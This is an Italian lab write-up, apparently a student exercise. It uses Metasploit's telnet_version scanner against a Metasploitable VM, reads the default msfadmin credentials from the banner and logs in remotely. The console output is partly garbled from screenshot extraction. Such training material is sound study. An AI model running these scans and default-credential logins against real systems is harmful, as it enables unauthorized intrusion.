Traccia: Utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Dopo aver utilizzato il comando msfconsole per trovare un exploit disponibile per il protocollo telnet procediamo ad impostare il RHOSTS del nostro target.

```
\blacksquare
                                               kali@kali: ~
                                                                                 Q
                                                                                         :
                                                                                               msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(
                                                         n) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
                 Current Setting Required Description
    PASSWORD
                                       no
                                                    The password for the specified usernam
                                                    The target host(s), see https://docs.m
etasploit.com/docs/using-metasploit/ba
sics/using-metasploit.html
The target port (TCP)
The number of concurrent threads (max
one per host)
    RHOSTS
                                       yes
    RPORT
                 23
                                       ves
    THREADS
                                       ves
    TIMEOUT
                                                    Timeout for the Telnet probe
                 30
                                                    The username to authenticate as
    USERNAME
View the full module info with the info, or info -d command.
                                                    rsion) > set RHOSTS 192.168.50.101
msf6 auxiliary(
RHOSTS => 192.168.50.101
msf6 auxiliary(scanner/tel
                                      /telnet_version) >
```

Dopo aver utilizzato il comando exploit otteniamo user e password del target.

```
Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Jan 16 08:03:05 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 in the programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

To access official Ubuntu documentation, please visit: http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

Infine tramite le credenziali siamo riusciti ad ottenere da remoto l'accesso alla macchina Meta.